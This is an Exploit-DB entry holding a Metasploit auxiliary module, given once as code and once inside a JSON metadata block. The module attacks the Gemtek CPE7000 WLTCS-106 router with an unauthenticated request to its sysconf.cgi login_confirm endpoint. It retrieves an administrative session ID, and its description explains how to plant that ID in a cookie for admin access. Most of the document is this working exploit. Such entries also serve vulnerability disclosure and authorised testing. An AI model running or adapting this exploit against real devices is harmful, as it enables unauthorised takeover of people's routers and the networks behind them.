ID EDB-ID:39725
Type exploitdb
Reporter Federico Scalco
Modified 2016-04-25T00:00:00
Description
Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever (MSF). Webapps exploit for hardware platform
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',
'Description' => %q{
A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows
unauthenticated remote attackers to retrieve a valid Administrative SID.
To obtain an administrative web session inject this SID in your client's
cookie with values as follow: userlevel=2;sid=<SID>
Tested on Hardware version V02A and Firmware version 01.01.02.082.
},
'References' =>
[
[ 'EDB', '39716' ],
[ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
[ 'URL' , 'http://www.gemtek.com.tw/' ]
],
'Author' =>
[
'Federico Scalco <fscalco [ at] mentat.is>'
#Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Apr 07 2016",
'DefaultOptions' =>
{
'RPORT' => 443
}
))
register_options(
[
OptString.new("TARGETURI", [true, 'The base URI to target application', '/']),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end
def run
@peer = "#{rhost}:#{rport}"
res = send_request_cgi({
'method' => 'GET',
'uri' => '/cgi-bin/sysconf.cgi',
'vars_get' => {
'page' => 'ajax.asp',
'action' => 'login_confirm'
}
})
if !res or res.code != 200
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
end
ssid = res.body.split(',', 2)
print_good("#{@peer} - Valid root SID retrieved: #{ssid[1]}")
end
end
{"id": "EDB-ID:39725", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever MSF", "description": "Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever (MSF). Webapps exploit for hardware platform", "published": "2016-04-25T00:00:00", "modified": "2016-04-25T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://www.exploit-db.com/exploits/39725/", "reporter": "Federico Scalco", "references": [], "cvelist": [], "lastseen": "2016-04-26T01:11:41", "viewCount": 17, "enchantments": {"score": {"value": 0.4, "vector": "NONE", "modified": "2016-04-26T01:11:41", "rev": 2}, "dependencies": {"references": [], "modified": "2016-04-26T01:11:41", "rev": 2}, "vulnersScore": 0.4}, "sourceHref": "https://www.exploit-db.com/download/39725/", "sourceData": "##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Auxiliary\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',\r\n 'Description' => %q{\r\n A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows\r\n unauthenticated remote attackers to retrieve a valid Administrative SID.\r\n\r\n To obtain an administrative web session inject this SID in your client's\r\n cookie with values as follow: userlevel=2;sid=<SID>\r\n\r\n Tested on Hardware version V02A and Firmware version 01.01.02.082.\r\n },\r\n 'References' =>\r\n [\r\n [ 'EDB', '39716' ],\r\n [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],\r\n [ 'URL' , 'http://www.gemtek.com.tw/' ]\r\n ],\r\n 'Author' =>\r\n [\r\n 'Federico Scalco <fscalco [ at] mentat.is>'\r\n #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'DisclosureDate' => \"Apr 07 2016\",\r\n 'DefaultOptions' =>\r\n {\r\n 'RPORT' => 443\r\n }\r\n ))\r\n\r\n register_options(\r\n [\r\n OptString.new(\"TARGETURI\", [true, 'The base URI to target application', '/']),\r\n OptBool.new('SSL', [true, 'Use SSL', true])\r\n ], self.class)\r\n end\r\n\r\n def run\r\n @peer = \"#{rhost}:#{rport}\"\r\n\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => '/cgi-bin/sysconf.cgi',\r\n 'vars_get' => {\r\n 'page' => 'ajax.asp',\r\n 'action' => 'login_confirm'\r\n }\r\n })\r\n\r\n if !res or res.code != 200\r\n fail_with(Failure::UnexpectedReply, \"Server did not respond in an expected way\")\r\n end\r\n\r\n ssid = res.body.split(',', 2)\r\n print_good(\"#{@peer} - Valid root SID retrieved: #{ssid[1]}\")\r\n end\r\nend", "osvdbidlist": []}
{}